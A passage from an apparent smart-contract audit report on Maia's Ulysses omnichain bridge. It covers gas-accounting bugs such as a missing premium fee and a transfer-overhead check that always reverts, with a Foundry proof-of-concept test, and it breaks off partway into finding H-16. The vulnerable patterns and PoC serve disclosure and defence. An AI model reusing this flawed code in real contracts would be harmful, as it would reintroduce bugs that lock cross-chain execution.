https://github.com/anyswap/multichain-smart-contracts/blob/645d0053d22ed63005b9414b5610879094932304/contracts/anycall/v7/AnycallV7Upgradeable.sol#L167
https://github.com/anyswap/multichain-smart-contracts/blob/645d0053d22ed63005b9414b5610879094932304/contracts/anycall/v7/AnycallV7Upgradeable.sol#L276

Ulysses-omnichain contract lines:
https://github.com/code-423n4/2023-05-maia/blob/main/src/ulysses-omnichain/RootBridgeAgent.sol#L811
https://github.com/code-423n4/2023-05-maia/blob/main/src/ulysses-omnichain/RootBridgeAgent.sol#L851

The user is paying the incorrect minimum execution cost for Anycall Mutlichain L820, as the value of minExecCost is calculated incorrectly. The AnycallV7 protocol considers a premium fee (_feeData.premium) on top of the TX gas price, which is not considered here.

Let’s get into the flow from the start. When anyExec is called by the executor (L265), the anycall request that comes from a source chain includes the chargeDestFee modifier.

    function anyExec(
        address _to,
        bytes calldata _data,
        string calldata _appID,
        RequestContext calldata _ctx,
        bytes calldata _extdata
    )
        external
        virtual
        lock
        whenNotPaused
        chargeDestFee(_to, _ctx.flags)
        onlyMPC
    {
        IAnycallConfig(config).checkExec(_appID, _ctx.from, _to);

Now, the chargeDestFee modifier will call the chargeFeeOnDestChain function as well at L167.

/// @dev Charge an account for execution costs on this chain
/// @param _from The account to charge for execution costs
    modifier chargeDestFee(address _from, uint256 _flags) {
        if (_isSet(_flags, AnycallFlags.FLAG_PAY_FEE_ON_DEST)) {
            uint256 _prevGasLeft = gasleft();
            _;
            IAnycallConfig(config).chargeFeeOnDestChain(_from, _prevGasLeft);
        } else {
            _;
        }
    }

As you see here in L198-L210, inside the chargeFeeOnDestChain function includes _feeData.premium for the execution cost totalCost.

function chargeFeeOnDestChain(address _from, uint256 _prevGasLeft)
        external
        onlyAnycallContract
    {
        if (!_isSet(mode, FREE_MODE)) {
            uint256 gasUsed = _prevGasLeft + EXECUTION_OVERHEAD - gasleft();
            uint256 totalCost = gasUsed * (tx.gasprice + _feeData.premium);
            uint256 budget = executionBudget[_from];
            require(budget > totalCost, "no enough budget");
            executionBudget[_from] = budget - totalCost;
            _feeData.accruedFees += uint128(totalCost);
        }
    }

The conclusion: the minExecCost calculation doesn’t include _feeData.premium at L811, according to the Multichain AnycallV7 protocol.

You should include _feeData.premium in minExecCost as well. The same as in L204.

uint256 totalCost = gasUsed * (tx.gasprice + _feeData.premium);

This also applicable on:
_payFallbackGas() in RootBridgeAgent at L836.
_payFallbackGas() in BranchBridgeAgent at L1066.
_payExecutionGas in BranchBridgeAgent at L1032.

Add _feeData.premium to minExecCost at the _payExecutionGas function L811.

You need to get _feeData.premium first from AnycallV7Config by the premium() function at L286-L288.

uint256 minExecCost = (tx.gasprice  + _feeData.premium) * (MIN_EXECUTION_OVERHEAD + _initialGas - gasleft()));

0xBugsy (Maia) confirmed and commented:

We recognize the audit’s findings on Anycall Gas Management. These will not be rectified due to the upcoming migration of this section to LayerZero.


[H-15] The difference between gasLeft and gasAfterTransfer is greater than TRANSFER_OVERHEAD, causing anyExecute to always fail

Submitted by Koolex

In _payExecutionGas, there is the following code:

///Save gas left
	uint256 gasLeft = gasleft();
	.
	.
	. 
	.
//Transfer gas remaining to recipient
	SafeTransferLib.safeTransferETH(_recipient, gasRemaining - minExecCost);
	//Save Gas
	uint256 gasAfterTransfer = gasleft();
	//Check if sufficient balance
	if (gasLeft - gasAfterTransfer > TRANSFER_OVERHEAD) {
		_forceRevert();
		return;
	}

https://github.com/code-423n4/2023-05-maia/blob/main/src/ulysses-omnichain/BranchBridgeAgent.sol#L1029-L1054

It checks if the difference between gasLeft and gasAfterTransfer is greater than TRANSFER_OVERHEAD. Then, it calls _forceRevert() so that Anycall Executor reverts the call. This check has been introduced to prevent any arbitrary code executed in the _recipient's fallback (this was confirmed by the sponsor). However, the condition gasLeft - gasAfterTransfer > TRANSFER_OVERHEAD is always true. TRANSFER_OVERHEAD is 24_000.

uint256 internal constant TRANSFER_OVERHEAD = 24_000;

https://github.com/code-423n4/2023-05-maia/blob/main/src/ulysses-omnichain/BranchBridgeAgent.sol#L139

And the gas spent between gasLeft and gasAfterTransfer is nearly 70_000 which is higher than 24_000. Thus, causing the function to always revert. Function _payExecutionGas is called by anyExecute which is called by the Anycall Executor. This means anyExecute will also fail. This happens because the gasLeft value is stored before replenishing gas and not before the transfer.

Proof of Concept

This PoC is independent from the codebase (but uses the same code). There is one contract simulating BranchBridgeAgent.anyExecute.

When we run the test, anyExecute will revert because gasLeft - gasAfterTransfer is always greater than TRANSFER_OVERHEAD (24_000).

Here is the output of the test:

[PASS] test_anyexecute_always_revert_bc_transfer_overhead() (gas: 124174)
Logs:
  (gasLeft - gasAfterTransfer > TRANSFER_OVERHEAD) => true
  gasLeft - gasAfterTransfer = 999999999999979606 - 999999999999909238 = 70368

Test result: ok. 1 passed; 0 failed; finished in 1.88ms

Explanation

The BranchBridgeAgent.anyExecute method depends on the following external calls:

  1. AnycallExecutor.context()
  2. AnycallProxy.config()
  3. AnycallConfig.executionBudget()
  4. AnycallConfig.withdraw()
  5. AnycallConfig.deposit()
  6. WETH9.withdraw()

For this reason, I’ve copied the same code from multichain-smart-contracts. For WETH9, I’ve used the contract from the codebase which has minimal code.

Please note that:

  • tx.gasprice is replaced with a fixed value in the _payExecutionGas method, as it is not available in Foundry.
  • In _replenishGas, reading the config via IAnycallProxy(localAnyCallAddress).config() is replaced with an immediate call for simplicity. In other words, avoiding a proxy to make the PoC simpler and shorter. However, if done with a proxy, the gas used would increase. So in both ways, it is in favor of the PoC.
  • In _forceRevert, we call anycallConfig, immediately skipping the returned value from AnycallProxy. This is irrelevant for this PoC.

The Coded PoC

  • Foundry.toml

    [profile.default]
    solc = '0.8.17'
    src = 'solidity'
    test = 'solidity/test'
    out = 'out'
    libs = ['lib']
    fuzz_runs = 1000
    optimizer_runs = 10_000
  • .gitmodules
	[submodule "lib/ds-test"]
		path = lib/ds-test
		url = https://github.com/dapphub/ds-test
		branch = master
	[submodule "lib/forge-std"]
		path = lib/forge-std
		url = https://github.com/brockelmore/forge-std
		branch = master
  • remappings.txt
	ds-test/=lib/ds-test/src
	forge-std/=lib/forge-std/src
  • Test File:
// PoC => Maia OmniChain: anyExecute always revert in BranchBridgeAgent
pragma solidity >=0.8.4 <0.9.0;

import {Test} from "forge-std/Test.sol";
import "forge-std/console.sol";

import {DSTest} from "ds-test/test.sol";

library SafeTransferLib {
    /*´:°•.°+.*•´.*:˚.°*.˚•´.°:°•.°•.*•´.*:˚.°*.˚•´.°:°•.°+.*•´.*:*/
    /-                     CUSTOM ERRORS                        */
    /*.•°:°.´+˚.*°.˚:*.´•*.+°.•°:´*.´•*.•°.•°:°.´:•˚°.*°.˚:*.´+°.•*/

    /// @dev The ETH transfer has failed.
    error ETHTransferFailed();

    /// @dev The ERC20 `transferFrom` has failed.
    error TransferFromFailed();

    /// @dev The ERC20 `transfer` has failed.
    error TransferFailed();

    /// @dev The ERC20 `approve` has failed.
    error ApproveFailed();

    /*´:°•.°+.*•´.*:˚.°*.˚•´.°:°•.°•.*•´.*:˚.°*.˚•´.°:°•.°+.*•´.*:*/
    /-                       CONSTANTS                          */
    /*.•°:°.´+˚.*°.˚:*.´•*.+°.•°:´*.´•*.•°.•°:°.´:•˚°.*°.˚:*.´+°.•*/

    /// @dev Suggested gas stipend for contract receiving ETH
    /// that disallows any storage writes.
    uint256 internal constant _GAS_STIPEND_NO_STORAGE_WRITES = 2300;

    /// @dev Suggested gas stipend for contract receiving ETH to perform a few
    /// storage reads and writes, but low enough to prevent griefing.
    /// Multiply by a small constant (e.g. 2), if needed.
    uint256 internal constant _GAS_STIPEND_NO_GRIEF = 100000;

    /*´:°•.°+.*•´.*:˚.°*.˚•´.°:°•.°•.*•´.*:˚.°*.˚•´.°:°•.°+.*•´.*:*/
    /-                     ETH OPERATIONS                       */
    /*.•°:°.´+˚.*°.˚:*.´•*.+°.•°:´*.´•*.•°.•°:°.´:•˚°.*°.˚:*.´+°.•*/

    /// @dev Sends `amount` (in wei) ETH to `to`.
    /// Reverts upon failure.
    ///
    /// Note: This implementation does NOT protect against gas griefing.
    /// Please use `forceSafeTransferETH` for gas griefing protection.
    function safeTransferETH(address to, uint256 amount) internal {
        /// @solidity memory-safe-assembly
        assembly {
            // Transfer the ETH and check if it succeeded or not.
            if iszero(call(gas(), to, amount, 0, 0, 0, 0)) {
                // Store the function selector of `ETHTransferFailed()`.
                mstore(0x00, 0xb12d13eb)
                // Revert with (offset, size).
                revert(0x1c, 0x04)
            }
        }
    }

    /// @dev Force sends `amount` (in wei) ETH to `to`, with a `gasStipend`.
    /// The `gasStipend` can be set to a low enough value to prevent
    /// storage writes or gas griefing.
    ///
    /// If sending via the normal procedure fails, force sends the ETH by
    /// creating a temporary contract which uses `SELFDESTRUCT` to force send the ETH.
    ///
    /// Reverts if the current contract has insufficient balance.
    function forceSafeTransferETH(
        address to,
        uint256 amount,
        uint256 gasStipend
    ) internal {
        /// @solidity memory-safe-assembly
        assembly {
            // If insufficient balance, revert.
            if lt(selfbalance(), amount) {
                // Store the function selector of `ETHTransferFailed()`.
                mstore(0x00, 0xb12d13eb)
                // Revert with (offset, size).
                revert(0x1c, 0x04)
            }
            // Transfer the ETH and check if it succeeded or not.
            if iszero(call(gasStipend, to, amount, 0, 0, 0, 0)) {
                mstore(0x00, to) // Store the address in scratch space.
                mstore8(0x0b, 0x73) // Opcode `PUSH20`.
                mstore8(0x20, 0xff) // Opcode `SELFDESTRUCT`.
                // We can directly use `SELFDESTRUCT` in the contract creation.
                // Compatible with `SENDALL`: https://eips.ethereum.org/EIPS/eip-4758
                if iszero(create(amount, 0x0b, 0x16)) {
                    // To coerce gas estimation to provide enough gas for the `create` above.
                    if iszero(gt(gas(), 1000000)) {
                        revert(0, 0)
                    }
                }
            }
        }
    }

    /// @dev Force sends `amount` (in wei) ETH to `to`, with a gas stipend
    /// equal to `_GAS_STIPEND_NO_GRIEF`. This gas stipend is a reasonable default
    /// for 99% of cases and can be overridden with the three-argument version of this
    /// function if necessary.
    ///
    /// If sending via the normal procedure fails, force sends the ETH by
    /// creating a temporary contract which uses `SELFDESTRUCT` to force send the ETH.
    ///
    /// Reverts if the current contract has insufficient balance.
    function forceSafeTransferETH(address to, uint256 amount) internal {
        // Manually inlined because the compiler doesn't inline functions with branches.
        /// @solidity memory-safe-assembly
        assembly {
            // If insufficient balance, revert.
            if lt(selfbalance(), amount) {
                // Store the function selector of `ETHTransferFailed()`.
                mstore(0x00, 0xb12d13eb)
                // Revert with (offset, size).
                revert(0x1c, 0x04)
            }
            // Transfer the ETH and check if it succeeded or not.
            if iszero(call(_GAS_STIPEND_NO_GRIEF, to, amount, 0, 0, 0, 0)) {
                mstore(0x00, to) // Store the address in scratch space.
                mstore8(0x0b, 0x73) // Opcode `PUSH20`.
                mstore8(0x20, 0xff) // Opcode `SELFDESTRUCT`.
                // We can directly use `SELFDESTRUCT` in the contract creation.
                // Compatible with `SENDALL`: https://eips.ethereum.org/EIPS/eip-4758
                if iszero(create(amount, 0x0b, 0x16)) {
                    // To coerce gas estimation to provide enough gas for the `create` above.
                    if iszero(gt(gas(), 1000000)) {
                        revert(0, 0)
                    }
                }
            }
        }
    }

    /// @dev Sends `amount` (in wei) ETH to `to`, with a `gasStipend`.
    /// The `gasStipend` can be set to a low enough value to prevent
    /// storage writes or gas griefing.
    ///
    /// Simply use `gasleft()` for `gasStipend` if you don't need a gas stipend.
    ///
    /// Note: Does NOT revert upon failure.
    /// Returns whether the transfer of ETH is successful instead.
    function trySafeTransferETH(
        address to,
        uint256 amount,
        uint256 gasStipend
    ) internal returns (bool success) {
        /// @solidity memory-safe-assembly
        assembly {
            // Transfer the ETH and check if it succeeded or not.
            success := call(gasStipend, to, amount, 0, 0, 0, 0)
        }
    }

    /*´:°•.°+.*•´.*:˚.°*.˚•´.°:°•.°•.*•´.*:˚.°*.˚•´.°:°•.°+.*•´.*:*/
    /-                    ERC20 OPERATIONS                      */
    /*.•°:°.´+˚.*°.˚:*.´•*.+°.•°:´*.´•*.•°.•°:°.´:•˚°.*°.˚:*.´+°.•*/

    /// @dev Sends `amount` of ERC20 `token` from `from` to `to`.
    /// Reverts upon failure.
    ///
    /// The `from` account must have at least `amount` approved for
    /// the current contract to manage.
    function safeTransferFrom(
        address token,
        address from,
        address to,
        uint256 amount
    ) internal {
        /// @solidity memory-safe-assembly
        assembly {
            let m := mload(0x40) // Cache the free memory pointer.

            mstore(0x60, amount) // Store the `amount` argument.
            mstore(0x40, to) // Store the `to` argument.
            mstore(0x2c, shl(96, from)) // Store the `from` argument.
            // Store the function selector of `transferFrom(address,address,uint256)`.
            mstore(0x0c, 0x23b872dd000000000000000000000000)

            if iszero(
                and(
                    // The arguments of `and` are evaluated from right to left.
                    // Set success to whether the call reverted, if not we check it either
                    // returned exactly 1 (can't just be non-zero data), or had no return data.
                    or(eq(mload(0x00), 1), iszero(returndatasize())),
                    call(gas(), token, 0, 0x1c, 0x64, 0x00, 0x20)
                )
            ) {
                // Store the function selector of `TransferFromFailed()`.
                mstore(0x00, 0x7939f424)
                // Revert with (offset, size).
                revert(0x1c, 0x04)
            }

            mstore(0x60, 0) // Restore the zero slot to zero.
            mstore(0x40, m) // Restore the free memory pointer.
        }
    }

    /// @dev Sends all of ERC20 `token` from `from` to `to`.
    /// Reverts upon failure.
    ///
    /// The `from` account must have their entire balance approved for
    /// the current contract to manage.
    function safeTransferAllFrom(
        address token,
        address from,
        address to
    ) internal returns (uint256 amount) {
        /// @solidity memory-safe-assembly
        assembly {
            let m := mload(0x40) // Cache the free memory pointer.

            mstore(0x40, to) // Store the `to` argument.
            mstore(0x2c, shl(96, from)) // Store the `from` argument.
            // Store the function selector of `balanceOf(address)`.
            mstore(0x0c, 0x70a08231000000000000000000000000)
            if iszero(
                and(
                    // The arguments of `and` are evaluated from right to left.
                    gt(returndatasize(), 0x1f), // At least 32 bytes returned.
                    staticcall(gas(), token, 0x1c, 0x24, 0x60, 0x20)
                )
            ) {
                // Store the function selector of `TransferFromFailed()`.
                mstore(0x00, 0x7939f424)
                // Revert with (offset, size).
                revert(0x1c, 0x04)
            }

            // Store the function selector of `transferFrom(address,address,uint256)`.
            mstore(0x00, 0x23b872dd)
            // The `amount` argument is already written to the memory word at 0x60.
            amount := mload(0x60)

            if iszero(
                and(
                    // The arguments of `and` are evaluated from right to left.
                    // Set success to whether the call reverted, if not we check it either
                    // returned exactly 1 (can't just be non-zero data), or had no return data.
                    or(eq(mload(0x00), 1), iszero(returndatasize())),
                    call(gas(), token, 0, 0x1c, 0x64, 0x00, 0x20)
                )
            ) {
                // Store the function selector of `TransferFromFailed()`.
                mstore(0x00, 0x7939f424)
                // Revert with (offset, size).
                revert(0x1c, 0x04)
            }

            mstore(0x60, 0) // Restore the zero slot to zero.
            mstore(0x40, m) // Restore the free memory pointer.
        }
    }

    /// @dev Sends `amount` of ERC20 `token` from the current contract to `to`.
    /// Reverts upon failure.
    function safeTransfer(address token, address to, uint256 amount) internal {
        /// @solidity memory-safe-assembly
        assembly {
            mstore(0x14, to) // Store the `to` argument.
            mstore(0x34, amount) // Store the `amount` argument.
            // Store the function selector of `transfer(address,uint256)`.
            mstore(0x00, 0xa9059cbb000000000000000000000000)

            if iszero(
                and(
                    // The arguments of `and` are evaluated from right to left.
                    // Set success to whether the call reverted, if not we check it either
                    // returned exactly 1 (can't just be non-zero data), or had no return data.
                    or(eq(mload(0x00), 1), iszero(returndatasize())),
                    call(gas(), token, 0, 0x10, 0x44, 0x00, 0x20)
                )
            ) {
                // Store the function selector of `TransferFailed()`.
                mstore(0x00, 0x90b8ec18)
                // Revert with (offset, size).
                revert(0x1c, 0x04)
            }
            // Restore the part of the free memory pointer that was overwritten.
            mstore(0x34, 0)
        }
    }

    /// @dev Sends all of ERC20 `token` from the current contract to `to`.
    /// Reverts upon failure.
    function safeTransferAll(
        address token,
        address to
    ) internal returns (uint256 amount) {
        /// @solidity memory-safe-assembly
        assembly {
            mstore(0x00, 0x70a08231) // Store the function selector of `balanceOf(address)`.
            mstore(0x20, address()) // Store the address of the current contract.
            if iszero(
                and(
                    // The arguments of `and` are evaluated from right to left.
                    gt(returndatasize(), 0x1f), // At least 32 bytes returned.
                    staticcall(gas(), token, 0x1c, 0x24, 0x34, 0x20)
                )
            ) {
                // Store the function selector of `TransferFailed()`.
                mstore(0x00, 0x90b8ec18)
                // Revert with (offset, size).
                revert(0x1c, 0x04)
            }

            mstore(0x14, to) // Store the `to` argument.
            // The `amount` argument is already written to the memory word at 0x34.
            amount := mload(0x34)
            // Store the function selector of `transfer(address,uint256)`.
            mstore(0x00, 0xa9059cbb000000000000000000000000)

            if iszero(
                and(
                    // The arguments of `and` are evaluated from right to left.
                    // Set success to whether the call reverted, if not we check it either
                    // returned exactly 1 (can't just be non-zero data), or had no return data.
                    or(eq(mload(0x00), 1), iszero(returndatasize())),
                    call(gas(), token, 0, 0x10, 0x44, 0x00, 0x20)
                )
            ) {
                // Store the function selector of `TransferFailed()`.
                mstore(0x00, 0x90b8ec18)
                // Revert with (offset, size).
                revert(0x1c, 0x04)
            }
            // Restore the part of the free memory pointer that was overwritten.
            mstore(0x34, 0)
        }
    }

    /// @dev Sets `amount` of ERC20 `token` for `to` to manage on behalf of the current contract.
    /// Reverts upon failure.
    function safeApprove(address token, address to, uint256 amount) internal {
        /// @solidity memory-safe-assembly
        assembly {
            mstore(0x14, to) // Store the `to` argument.
            mstore(0x34, amount) // Store the `amount` argument.
            // Store the function selector of `approve(address,uint256)`.
            mstore(0x00, 0x095ea7b3000000000000000000000000)

            if iszero(
                and(
                    // The arguments of `and` are evaluated from right to left.
                    // Set success to whether the call reverted, if not we check it either
                    // returned exactly 1 (can't just be non-zero data), or had no return data.
                    or(eq(mload(0x00), 1), iszero(returndatasize())),
                    call(gas(), token, 0, 0x10, 0x44, 0x00, 0x20)
                )
            ) {
                // Store the function selector of `ApproveFailed()`.
                mstore(0x00, 0x3e3f8f73)
                // Revert with (offset, size).
                revert(0x1c, 0x04)
            }
            // Restore the part of the free memory pointer that was overwritten.
            mstore(0x34, 0)
        }
    }

    /// @dev Returns the amount of ERC20 `token` owned by `account`.
    /// Returns zero if the `token` does not exist.
    function balanceOf(
        address token,
        address account
    ) internal view returns (uint256 amount) {
        /// @solidity memory-safe-assembly
        assembly {
            mstore(0x14, account) // Store the `account` argument.
            // Store the function selector of `balanceOf(address)`.
            mstore(0x00, 0x70a08231000000000000000000000000)
            amount := mul(
                mload(0x20),
                and(
                    // The arguments of `and` are evaluated from right to left.
                    gt(returndatasize(), 0x1f), // At least 32 bytes returned.
                    staticcall(gas(), token, 0x10, 0x24, 0x20, 0x20)
                )
            )
        }
    }
}

interface IAnycallExecutor {
    function context()
        external
        view
        returns (address from, uint256 fromChainID, uint256 nonce);

    function execute(
        address _to,
        bytes calldata _data,
        address _from,
        uint256 _fromChainID,
        uint256 _nonce,
        uint256 _flags,
        bytes calldata _extdata
    ) external returns (bool success, bytes memory result);
}

interface IAnycallConfig {
    function calcSrcFees(
        address _app,
        uint256 _toChainID,
        uint256 _dataLength
    ) external view returns (uint256);

    function executionBudget(address _app) external view returns (uint256);

    function deposit(address _account) external payable;

    function withdraw(uint256 _amount) external;
}

interface IAnycallProxy {
    function executor() external view returns (address);

    function config() external view returns (address);

    function anyCall(
        address _to,
        bytes calldata _data,
        uint256 _toChainID,
        uint256 _flags,
        bytes calldata _extdata
    ) external payable;

    function anyCall(
        string calldata _to,
        bytes calldata _data,
        uint256 _toChainID,
        uint256 _flags,
        bytes calldata _extdata
    ) external payable;
}

contract WETH9 {
    string public name = "Wrapped Ether";
    string public symbol = "WETH";
    uint8 public decimals = 18;

    event Approval(address indexed src, address indexed guy, uint256 wad);
    event Transfer(address indexed src, address indexed dst, uint256 wad);
    event Deposit(address indexed dst, uint256 wad);
    event Withdrawal(address indexed src, uint256 wad);

    mapping(address => uint256) public balanceOf;
    mapping(address => mapping(address => uint256)) public allowance;

    // function receive() external payable {
    //   deposit();
    // }

    function deposit() public payable {
        balanceOf[msg.sender] += msg.value;
        emit Deposit(msg.sender, msg.value);
    }

    function withdraw(uint256 wad) public {
        require(balanceOf[msg.sender] >= wad);
        balanceOf[msg.sender] -= wad;
        payable(msg.sender).transfer(wad);
        emit Withdrawal(msg.sender, wad);
    }

    function totalSupply() public view returns (uint256) {
        return address(this).balance;
    }

    function approve(address guy, uint256 wad) public returns (bool) {
        allowance[msg.sender][guy] = wad;
        emit Approval(msg.sender, guy, wad);
        return true;
    }

    function transfer(address dst, uint256 wad) public returns (bool) {
        return transferFrom(msg.sender, dst, wad);
    }

    function transferFrom(
        address src,
        address dst,
        uint256 wad
    ) public returns (bool) {
        require(balanceOf[src] >= wad);

        if (src != msg.sender && allowance[src][msg.sender] != 255) {
            require(allowance[src][msg.sender] >= wad);
            allowance[src][msg.sender] -= wad;
        }

        balanceOf[src] -= wad;
        balanceOf[dst] += wad;

        emit Transfer(src, dst, wad);

        return true;
    }
}

contract AnycallExecutor {
    struct Context {
        address from;
        uint256 fromChainID;
        uint256 nonce;
    }
    // Context public override context;
    Context public context;

    constructor() {
        context.fromChainID = 1;
        context.from = address(2);
        context.nonce = 1;
    }
}

contract AnycallV7Config {
    event Deposit(address indexed account, uint256 amount);

    mapping(address => uint256) public executionBudget;

    /// @notice Deposit native currency crediting `_account` for execution costs on this chain
    /// @param _account The account to deposit and credit for
    function deposit(address _account) external payable {
        executionBudget[_account] += msg.value;
        emit Deposit(_account, msg.value);
    }
}

contract BranchBridgeAgent {
    error AnycallUnauthorizedCaller();
    error GasErrorOrRepeatedTx();

    uint256 public remoteCallDepositedGas;

    uint256 internal constant MIN_EXECUTION_OVERHEAD = 160_000; // 100_000 for anycall + 35_000 Pre 1st Gas Checkpoint Execution + 25_000 Post last Gas Checkpoint Executions
    uint256 internal constant TRANSFER_OVERHEAD = 24_000;

    WETH9 public immutable wrappedNativeToken;

    AnycallV7Config public anycallV7Config;

    uint256 public accumulatedFees;

    /// @notice Local Chain Id
    uint24 public immutable localChainId;

    /// @notice Address for Bridge Agent who processes requests submitted for the Root Router Address where cross-chain requests are executed in the Root Chain.
    address public immutable rootBridgeAgentAddress;
    /// @notice Local Anyexec Address
    address public immutable local`AnyCall`ExecutorAddress;

    /// @notice Address for Local AnycallV7 Proxy Address where cross-chain requests are sent to the Root Chain Router.
    address public immutable local`AnyCall`Address;

    constructor() {
        AnycallExecutor anycallExecutor = new AnycallExecutor();
        local`AnyCall`ExecutorAddress = address(anycallExecutor);

        localChainId = 1;

        wrappedNativeToken = new WETH9();

        local`AnyCall`Address = address(3);

        rootBridgeAgentAddress = address(2);

        anycallV7Config = new AnycallV7Config();
    }

    modifier requiresExecutor() {
        _requiresExecutor();
        _;
    }

    function _requiresExecutor() internal view {
        if (msg.sender != local`AnyCall`ExecutorAddress)
            revert AnycallUnauthorizedCaller();
        (address from, , ) = IAnycallExecutor(local`AnyCall`ExecutorAddress)
            .context();
        if (from != rootBridgeAgentAddress) revert AnycallUnauthorizedCaller();
    }

    function _replenishGas(uint256 _executionGasSpent) internal virtual {
        //Deposit Gas
        anycallV7Config.deposit{value: _executionGasSpent}(address(this));
        // IAnycallConfig(IAnycallProxy(local`AnyCall`Address).config()).deposit{value: _executionGasSpent}(address(this));
    }

    function _forceRevert() internal virtual {
        IAnycallConfig anycallConfig = IAnycallConfig(
            IAnycallProxy(local`AnyCall`Address).config()
        );

        // uint256 executionBudget = anycallConfig.executionBudget(address(this));
        uint256 executionBudget = anycallV7Config.executionBudget(
            address(this)
        );

        // Withdraw all execution gas budget from anycall for tx to revert with "no enough budget"
        if (executionBudget > 0)
            try anycallConfig.withdraw(executionBudget) {} catch {}
    }

    /**
     * @notice Internal function repays gas used by Branch Bridge Agent to fulfill remote initiated interaction.
     - @param _recipient address to send excess gas to.
     - @param _initialGas gas used by Branch Bridge Agent.
     */
    function _payExecutionGas(
        address _recipient,
        uint256 _initialGas
    ) internal virtual {
        //Gas remaining
        uint256 gasRemaining = wrappedNativeToken.balanceOf(address(this));

        //Unwrap Gas
        wrappedNativeToken.withdraw(gasRemaining);

        //Delete Remote Initiated Action State
        delete (remoteCallDepositedGas);

        ///Save gas left
        uint256 gasLeft = gasleft();

        //Get Branch Environment Execution Cost
        // Assume tx.gasPrice 1e9
        uint256 minExecCost = 1e9 *
            (MIN_EXECUTION_OVERHEAD + _initialGas - gasLeft);

        //Check if sufficient balance
        if (minExecCost > gasRemaining) {
            _forceRevert();
            return;
        }

        //Replenish Gas
        _replenishGas(minExecCost);

        //Transfer gas remaining to recipient
        SafeTransferLib.safeTransferETH(_recipient, gasRemaining - minExecCost);

        //Save Gas
        uint256 gasAfterTransfer = gasleft();

        //Check if sufficient balance // This condition is always true
        if (gasLeft - gasAfterTransfer > TRANSFER_OVERHEAD) {
            console.log(
                "(gasLeft - gasAfterTransfer > TRANSFER_OVERHEAD) => true"
            );
            console.log(
                "gasLeft - gasAfterTransfer = %d - %d = %d",
                gasLeft,
                gasAfterTransfer,
                gasLeft - gasAfterTransfer
            );
            _forceRevert();
            return;
        }
    }

    function anyExecute(
        bytes memory data
    )
        public
        virtual
        requiresExecutor
        returns (bool success, bytes memory result)
    {
        //Get Initial Gas Checkpoint
        uint256 initialGas = gasleft();

        //Action Recipient
        address recipient = address(0x0); // for simplicity and since it is irrelevant //address(uint160(bytes20(data[PARAMS_START:PARAMS_START_SIGNED])));

        // Other Code Here

        //Deduct gas costs from deposit and replenish this bridge agent's execution budget.
        _payExecutionGas(recipient, initialGas);
    }

    function depositIntoWeth(uint256 amt) external {
        wrappedNativeToken.deposit{value: amt}();
    }

    fallback() external payable {}
}

contract GasCalcTransferOverHead is DSTest, Test {
    BranchBridgeAgent branchBridgeAgent;

    function setUp() public {
        branchBridgeAgent = new BranchBridgeAgent();
        vm.deal(
            address(branchBridgeAgent.local`AnyCall`ExecutorAddress()),
            100 ether
        ); // executer pays gas
        vm.deal(address(branchBridgeAgent), 100 ether);
    }

    function test_anyexecute_always_revert_bc_transfer_overhead() public {
        // add weth balance
        branchBridgeAgent.depositIntoWeth(100 ether);
        vm.prank(address(branchBridgeAgent.local`AnyCall`ExecutorAddress()));
        vm.expectRevert();
        branchBridgeAgent.anyExecute{gas: 1 ether}(bytes(""));
        vm.stopPrank();
    }
}

Increase the TRANSFER_OVERHEAD to cover the actual gas spent. You could also add a gas checkpoint immediately before the transfer to make the naming makes sense (i.e. TRANSFER_OVERHEAD). However, the gas will be nearly 34_378, which is still higher than TRANSFER_OVERHEAD (24_000).

You can simply comment out the code after gasLeft till the transfer, by removing _minExecCost from the value to transfer since it is commented out. Now, when you run the test again, you will see an output like this (with a failed test but we are not interested in it anyway):

[FAIL. Reason: Call did not revert as expected] test_anyexecute_always_revert_bc_transfer_overhead() (gas: 111185)
Logs:
  (gasLeft - gasAfterTransfer > TRANSFER_OVERHEAD) => true
  gasLeft - gasAfterTransfer = 999999999999979606 - 999999999999945228 = 34378

Test result: FAILED. 0 passed; 1 failed; finished in 1.26ms

gasLeft - gasAfterTransfer = 34378

Please note that I have tested a simple function in Remix as well and it gave the same gas spent (i.e. 34378):

// copy the library code from Solady and paste it here
// https://github.com/Vectorized/solady/blob/main/src/utils/SafeTransferLib.sol


contract Test {

       function testGas() payable public returns (uint256){
        ///Save gas left
        uint256 gasLeft = gasleft();

        //Transfer gas remaining to recipient
        SafeTransferLib.safeTransferETH(address(0), 1 ether);

        //Save Gas
        uint256 gasAfterTransfer = gasleft();

        return gasLeft-gasAfterTransfer;

       }

}

The returned value will be 34378.

0xBugsy (Maia) confirmed and commented:

We recognize the audit’s findings on Anycall Gas Management. These will not be rectified due to the upcoming migration of this section to LayerZero.


[H-16] Overpaying remaining gas to the user for failing anyExecute call due to an incorrect gas unit calculation in BranchBridgeAgent

Submitted by Koolex, also found by Koolex

The anyExecute method is called by the Anycall Executor on the destination chain to execute interaction. The user has to pay for the remote call ExecutionGas; this is done at the end of the call. However, if there is not enough gasRemaining, the anyExecute will be reverted due to a revert caused by the Anycall Executor.

Here is the calculation for the gas used:

	///Save gas left
	uint256 gasLeft = gasleft();

	//Get Branch Environment Execution Cost
	uint256 minExecCost = tx.gasprice * (MIN_EXECUTION_OVERHEAD + _initialGas - gasLeft);

	//Check if sufficient balance
	if (minExecCost > gasRemaining) {
		_forceRevert();
		return;
	}

https://github.com/code-423n4/2023-05-maia/blob/main/src/ulysses-omnichain/BranchBridgeAgent.sol#L1018-L1054

_forceRevert will withdraw all of the execution budget:

	// Withdraw all execution gas budget from anycall for tx to revert with "no enough budget"
	if (executionBudget > 0) try anycallConfig.withdraw(executionBudget) {} catch {}

So Anycall Executor will revert if there is not enough budget. This is done at:

	uint256 budget = executionBudget[_from];
	require(budget > totalCost, "no enough budget");
	executionBudget[_from] = budget - totalCost;

https://github.com/anyswap/multichain-smart-contracts/blob/main/contracts/anycall/v7/AnycallV7Config.sol#L206C42-L206C58

(1) Gas Calculation:

To calculate how much the user has to pay, the following formula is used:

        //Get Branch Environment Execution Cost
        uint256 minExecCost = tx.gasprice * (MIN_EXECUTION_OVERHEAD + _initialGas - gasLeft);

Gas units are calculated as follows:

  • Store gasleft() at initialGas at the beginning of anyExecute method: